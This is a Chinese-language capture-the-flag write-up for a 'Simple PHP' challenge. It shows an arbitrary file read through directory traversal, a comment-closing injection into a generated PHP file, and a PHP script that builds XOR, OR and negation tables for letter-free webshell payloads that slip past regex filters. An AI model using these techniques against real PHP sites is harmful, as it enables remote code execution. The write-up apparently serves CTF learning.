文章目录
Simple PHP
考点
-
- Simple PHP
-
- 考点
- wp
- NetworkTools--学习DNS缓存攻击
-
- DNS解析链
- DNS缓存攻击及利用方式
- 考点
- wp
- 任意文件读取,获取源代码
- 读取源代码后,向html文档里插入webshell
- 无字母构造webshell
开始想着在登录注册界面去SQL注入,但是本题的目的不是为了拿数据库
我们自己注册登录进去后
点好康的,抓包,发现有个任意文件读取漏洞
读取get_pic.php
$hash_user = md5($_POST['user']); $hash_pass = 'zsf'.md5($_POST['pass']); if(isset($_POST['punctuation'])){ //filter if (strlen($_POST['user']) > 6){ echo(""); } elseif(strlen($_POST['website']) > 25){ echo(""); } elseif(strlen($_POST['punctuation']) > 1000){ echo(""); } else{ if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){ if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){ $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']); $template = file_get_contents('./template.html'); $content = str_replace("__USER__", $_POST['user'], $template); $content = str_replace("__PASS__", $hash_pass, $content); $content = str_replace("__WEBSITE__", $_POST['website'], $content); $content = str_replace("__PUNC__", $_POST['punctuation'], $content); file_put_contents('sandbox/'.$hash_user.'.php', $content); echo(""); } else{ echo(""); } } else{ echo(""); } } } else{ setcookie("user", $_POST['user'], time()+3600); setcookie("pass", $hash_pass, time()+3600); Header("Location:sandbox/$hash_user.php"); } } ?>
分析:if语句中,几个str_replace将我们输入的内容替换道./template.html,也就是sandbox/c53001d04a23cf3376f85d56ef4d4b6f.php,我们可控制参数是user,pass,website,punctuation,但是user和pass限制了长度太短了,所以考虑到直接用punctuation,长度比较长,加上可以利用无字母数字来绕过preg_replace
继续读源码
../../../../../../../var/www/html/sandbox/c53001d04a23cf3376f85d56ef4d4b6f.php ---目录穿越来读 或者读取./template.html --相对路径来读
我们需要将一句话木马传到HTML文档
对于user参数,
/[^\w\/\(\)\*<>]/
如果赋值/*,就可以注释
pass和website随便填一个。
punctuation,数字字母和?
/[a-z,A-Z,0-9>\?]/
需要先闭合前面的注释,括号和分号
*/'');
闭合后,就开始用无字母数字写webshell
脚本:利用异或构造字母
$result = (urldecode($par1)|urldecode($par2)); return $result; } //异或 function xorRce($par1, $par2){ $result = (urldecode($par1)^urldecode($par2)); return $result; } //取反 function negateRce(){ fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; } //mode=1代表或,2代表异或,3代表取反 //取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式 function generate($mode, $preg='/[0-9]/i'){ if ($mode!=3){ $myfile = fopen("rce.txt", "w"); $contents = ""; //为什么要256,因为我要构造%xx的url编码,突然发现url编码中%后的东西,都是16进制码。 for ($i=0;$i<256;$i++){ for ($j=0;$j<256;$j++){ if ($i<16){ $hex_i = '0'.dechex($i); //dechex(),将十进制转换为二进制 //至于为什么要加个0,因为后面%不能只有一位,必须两位,类似%xx。 }else{ $hex_i = dechex($i); } if ($j<16){ $hex_j = '0'.dechex($j); }else{ $hex_j = dechex($j); } if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ //hex2bin(),将16进制转换为ASCII码, //bin2hex — 函数把包含数据的二进制字符串转换为十六进制值 echo ""; }else{ $par1 = "%".$hex_i; $par2 = '%'.$hex_j; $res = ''; if ($mode==1){ $res = orRce($par1, $par2); }else if ($mode==2){ $res = xorRce($par1, $par2); } if (ord($res)>=32&ord($res)<=126){ $contents=$contents.$res." ".$par1." ".$par2."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); }else{ negateRce(); } } generate(2,'/[a-z,A-Z,0-9>\?]/');
也可以完全利用$_模式自增自减来构造无字母数字的webshell
见:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
关注打赏